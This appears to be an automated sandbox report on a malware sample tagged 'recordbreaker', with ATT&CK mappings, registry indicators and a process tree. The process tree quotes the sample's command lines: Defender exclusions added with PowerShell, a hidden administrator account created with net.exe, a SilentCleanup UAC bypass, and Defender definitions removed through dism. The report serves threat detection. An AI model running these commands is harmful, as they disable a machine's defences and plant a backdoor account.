recordbreaker | d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54

Bypass User Account Control

T1088

Disabling Security Tools

Modify Registry

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Windows security bypass 2 TTPs 5 IoCs

Disabling Security Tools

Modify Registry

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Microsoft.NET\Framework\Ipvbarely\svchost.exe = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Nirsoft 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe	Nirsoft
C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe	Nirsoft

Executes dropped EXE 4 IoCs

Processes:

AdvancedRun.exec5b66a46-250e-4334-a7b0-6e99a3e1f08c.exeAdvancedRun.exedismhost.exe

pid process

1372 AdvancedRun.exe
1076 c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
3932 AdvancedRun.exe
4484 dismhost.exe

pid	process
1372	AdvancedRun.exe
1076	c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
3932	AdvancedRun.exe
4484	dismhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Loads dropped DLL 5 IoCs

Processes:

dismhost.exe

pid process

4484 dismhost.exe
4484 dismhost.exe
4484 dismhost.exe
4484 dismhost.exe
4484 dismhost.exe

pid	process
4484	dismhost.exe
4484	dismhost.exe
4484	dismhost.exe
4484	dismhost.exe
4484	dismhost.exe

Windows security modification 2 TTPs 6 IoCs

Disabling Security Tools

Modify Registry

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Microsoft.NET\Framework\Ipvbarely\svchost.exe = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ROCKS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe\""	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000\Software\Microsoft\Windows\CurrentVersion\Run\Exxground = "C:\\Windows\\Microsoft.NET\\Framework\\Ipvbarely\\svchost.exe"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	pid	process	target process
PID 3460 set thread context of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe

Drops file in Windows directory 5 IoCs

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exePkgMgr.exedism.exedismhost.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\Xooworth.raw	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	PkgMgr.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dism.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File created	C:\Windows\Microsoft.NET\Framework\Ipvbarely\svchost.exe	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exepowershell.exeAdvancedRun.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
952	powershell.exe
952	powershell.exe
952	powershell.exe
1372	AdvancedRun.exe
1372	AdvancedRun.exe
1372	AdvancedRun.exe
1372	AdvancedRun.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3668	powershell.exe
2092	powershell.exe
1200	powershell.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
1956	powershell.exe
3948	powershell.exe
3668	powershell.exe
2092	powershell.exe
1200	powershell.exe
1956	powershell.exe
3948	powershell.exe
3736	powershell.exe
3736	powershell.exe
3948	powershell.exe
1956	powershell.exe
3736	powershell.exe
1200	powershell.exe
2092	powershell.exe
3668	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exepowershell.exeAdvancedRun.exec5b66a46-250e-4334-a7b0-6e99a3e1f08c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeAdvancedRun.exe

description	pid	process
Token: SeDebugPrivilege	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	1372	AdvancedRun.exe
Token: SeImpersonatePrivilege	1372	AdvancedRun.exe
Token: SeTakeOwnershipPrivilege	1076	c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	3932	AdvancedRun.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exenet.exenet.exenet.exenet.exeAdvancedRun.exe

description	pid	process	target process
PID 3460 wrote to memory of 952	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 952	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 952	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1220	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1220	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1220	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 1220 wrote to memory of 2720	1220	net.exe	net1.exe
PID 1220 wrote to memory of 2720	1220	net.exe	net1.exe
PID 1220 wrote to memory of 2720	1220	net.exe	net1.exe
PID 3460 wrote to memory of 752	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 752	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 752	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 752 wrote to memory of 1136	752	net.exe	net1.exe
PID 752 wrote to memory of 1136	752	net.exe	net1.exe
PID 752 wrote to memory of 1136	752	net.exe	net1.exe
PID 3460 wrote to memory of 1572	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1572	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1572	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 1572 wrote to memory of 2724	1572	net.exe	net1.exe
PID 1572 wrote to memory of 2724	1572	net.exe	net1.exe
PID 1572 wrote to memory of 2724	1572	net.exe	net1.exe
PID 3460 wrote to memory of 1540	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1540	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 3460 wrote to memory of 1540	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	net.exe
PID 1540 wrote to memory of 2720	1540	net.exe	net1.exe
PID 1540 wrote to memory of 2720	1540	net.exe	net1.exe
PID 1540 wrote to memory of 2720	1540	net.exe	net1.exe
PID 3460 wrote to memory of 3932	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	schtasks.exe
PID 3460 wrote to memory of 3932	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	schtasks.exe
PID 3460 wrote to memory of 3932	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	schtasks.exe
PID 3460 wrote to memory of 1200	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1200	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1200	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1372	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	AdvancedRun.exe
PID 3460 wrote to memory of 1372	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	AdvancedRun.exe
PID 3460 wrote to memory of 1372	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	AdvancedRun.exe
PID 3460 wrote to memory of 2092	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 2092	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 2092	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3668	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3668	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3668	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1956	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1956	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1956	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3948	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3948	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3948	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 1076	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
PID 3460 wrote to memory of 1076	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
PID 3460 wrote to memory of 3736	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3736	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3736	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	powershell.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 3460 wrote to memory of 3744	3460	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe	fontview.exe
PID 1372 wrote to memory of 3932	1372	AdvancedRun.exe	AdvancedRun.exe

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe

C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe
"C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe"
1⤵
- UAC bypass
- Windows security bypass
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:952

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add
2⤵
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add
3⤵
PID:2720

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add
2⤵
- Suspicious use of WriteProcessMemory
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add
3⤵
PID:1136

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup users "Admin" /add
2⤵
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup users "Admin" /add
3⤵
PID:2724

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup administrators "Admin" /del
2⤵
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators "Admin" /del
3⤵
PID:2720

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
2⤵
PID:3932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\Ipvbarely\svchost.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372

C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\AdvancedRun.exe" /SpecialRun 4101d8 1372
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\Ipvbarely\svchost.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe
"C:\Users\Admin\AppData\Local\Temp\22822fb4-a424-40da-99ce-bec426d67966\c5b66a46-250e-4334-a7b0-6e99a3e1f08c.exe" /o /c "Windows-Defender" /r
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1076

C:\Windows\System32\PkgMgr.exe
"C:\Windows\System32\PkgMgr.exe" /up:Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~10.0.15063.0 /norestart /quiet
3⤵
- Drops file in Windows directory
PID:1640

C:\Windows\System32\dism.exe
"C:\Windows\System32\dism.exe" /online /quiet /norestart /remove-package /packagename:"Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~10.0.15063.0"
4⤵
- Drops file in Windows directory
PID:428

C:\Users\Admin\AppData\Local\Temp\EAA080F5-6761-4FAE-92CF-B4D6EC20C934\dismhost.exe
C:\Users\Admin\AppData\Local\Temp\EAA080F5-6761-4FAE-92CF-B4D6EC20C934\dismhost.exe {59E77930-8C9A-40B4-A015-5FA184DE2500}
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:4484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\d407dea31b4e55d9955bdea84e990205f7bbea67fd39e82bb61f942dc20e9b54.exe" -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\SysWOW64\fontview.exe
"C:\Windows\SysWOW64\fontview.exe"
2⤵
PID:3744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion